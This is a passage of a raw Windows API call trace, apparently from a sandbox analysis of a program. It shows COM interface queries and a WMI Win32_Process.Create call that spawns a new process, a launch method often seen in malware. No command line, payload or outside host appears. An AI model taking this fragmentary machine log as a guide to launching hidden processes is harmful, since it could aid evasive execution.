Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4ad860) returned 0x0 [0108.310] IUnknown:QueryInterface (in: This=0x1b4ad860, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0108.310] IUnknown:QueryInterface (in: This=0x1b4ad860, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0108.310] IUnknown:QueryInterface (in: This=0x1b4ad860, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0108.310] IUnknown:AddRef (This=0x1b4ad860) returned 0x3 [0108.310] IUnknown:QueryInterface (in: This=0x1b4ad860, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0108.310] IUnknown:QueryInterface (in: This=0x1b4ad860, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0108.310] IUnknown:QueryInterface (in: This=0x1b4ad860, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4ad868) returned 0x0 [0108.311] IMarshal:GetUnmarshalClass (in: This=0x1b4ad868, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0108.311] IUnknown:Release (This=0x1b4ad868) returned 0x3 [0108.311] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0108.311] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0108.311] IUnknown:QueryInterface (in: This=0x1b4ad860, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0108.311] IUnknown:Release (This=0x1b4ad860) returned 0x2 [0108.311] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0108.311] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0108.311] IUnknown:QueryInterface (in: This=0x1b4ad860, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0108.311] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0108.311] IUnknown:QueryInterface (in: This=0x1b4ad860, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0108.311] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0108.311] IUnknown:AddRef (This=0x1b4ad860) returned 0x3 [0108.311] IWbemClassObject:Put (This=0x1b4cb140, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4ad860, varVal2=0x0), Type=0) returned 0x0 [0108.312] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5a2d60, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0108.312] WbemDefPath:IWbemPath:GetText (in: This=0x5a2d60, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0108.312] WbemDefPath:IWbemPath:GetText (in: This=0x5a2d60, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0108.312] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ff0, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0108.312] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0108.312] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0108.312] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0108.312] WbemLocator:IUnknown:AddRef (This=0x1b4adcf8) returned 0x3 [0108.312] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4adcf8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b4adcf8) returned 0x0 [0108.312] WbemLocator:IUnknown:Release (This=0x1b4adcf8) returned 0x3 [0108.312] WbemLocator:IUnknown:Release (This=0x1b4adcf8) returned 0x2 [0108.312] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0108.312] WbemLocator:IUnknown:AddRef (This=0x1b4adcf8) returned 0x3 [0108.312] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4adcf8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b4adcf8) returned 0x0 [0108.313] WbemLocator:IUnknown:Release (This=0x1b4adcf8) returned 0x3 [0108.313] WbemLocator:IUnknown:Release (This=0x1b4adcf8) returned 0x2 [0108.313] WbemDefPath:IWbemPath:GetText (in: This=0x5a2d60, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0108.313] WbemDefPath:IWbemPath:GetText (in: This=0x5a2d60, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0108.313] IWbemServices:ExecMethod (in: This=0x1b4b3860, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b4cb140, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b4ccc40, ppCallResult=0x0) returned 0x0 [0108.486] IWbemClassObject:Get (in: This=0x1b4ccc40, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c23e8*=0, plFlavor=0x27c23ec*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11f8, varVal2=0x0), pType=0x27c23e8*=19, plFlavor=0x27c23ec*=0) returned 0x0 [0108.486] IWbemClassObject:Get (in: This=0x1b4ccc40, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c23e8*=19, plFlavor=0x27c23ec*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11f8, varVal2=0x0), pType=0x27c23e8*=19, plFlavor=0x27c23ec*=0) returned 0x0 [0108.486] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0108.486] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0108.486] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0108.486] IUnknown:Release (This=0x6124e8) returned 0x1 [0108.487] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4ac4d0) returned 0x0 [0108.487] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4ac4d0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0108.488] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4ac4d0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4aece0) returned 0x0 [0108.488] WbemDefPath:IUnknown:Release (This=0x1b4ac4d0) returned 0x0 [0108.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aece0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4aece0) returned 0x0 [0108.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aece0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0108.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aece0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0108.488] WbemDefPath:IUnknown:AddRef (This=0x1b4aece0) returned 0x3 [0108.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aece0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0108.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aece0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0108.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aece0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4ac6d0) returned 0x0 [0108.488] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ac6d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0108.488] WbemDefPath:IUnknown:Release (This=0x1b4ac6d0) returned 0x3 [0108.488] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0108.488] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0108.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aece0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0108.489] WbemDefPath:IUnknown:Release (This=0x1b4aece0) returned 0x2 [0108.489] WbemDefPath:IUnknown:Release (This=0x1b4aece0) returned 0x1 [0108.489] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0108.489] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0108.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aece0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4aece0) returned 0x0 [0108.489] WbemDefPath:IUnknown:AddRef (This=0x1b4aece0) returned 0x3 [0108.489] WbemDefPath:IUnknown:Release (This=0x1b4aece0) returned 0x2 [0108.489] WbemDefPath:IWbemPath:SetText (This=0x1b4aece0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0108.489] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aece0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0108.489] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0108.489] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0108.489] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4aece0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0108.489] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aece0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0108.489] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4aece0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0108.489] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0108.489] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0108.489] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0108.489] IUnknown:Release (This=0x6124e8) returned 0x1 [0108.490] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4ac5d0) returned 0x0 [0108.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4ac5d0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0108.490] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4ac5d0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4af460) returned 0x0 [0108.490] WbemDefPath:IUnknown:Release (This=0x1b4ac5d0) returned 0x0 [0108.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4af460) returned 0x0 [0108.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0108.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0108.491] WbemDefPath:IUnknown:AddRef (This=0x1b4af460) returned 0x3 [0108.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0108.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0108.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4ac610) returned 0x0 [0108.491] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ac610, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0108.491] WbemDefPath:IUnknown:Release (This=0x1b4ac610) returned 0x3 [0108.491] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0108.491] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0108.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0108.491] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x2 [0108.491] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x1 [0108.491] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0108.491] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0108.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af460, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4af460) returned 0x0 [0108.491] WbemDefPath:IUnknown:AddRef (This=0x1b4af460) returned 0x3 [0108.491] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x2 [0108.491] WbemDefPath:IWbemPath:SetText (This=0x1b4af460, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0108.492] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af460, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0108.492] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0108.492] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0108.492] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af460, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0108.492] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af460, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0108.492] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af460, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0108.492] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af460, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0108.492] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0108.492] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0108.492] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0108.492] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0108.492] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0108.492] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0108.492] IUnknown:Release (This=0x6124e8) returned 0x1 [0108.493] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), 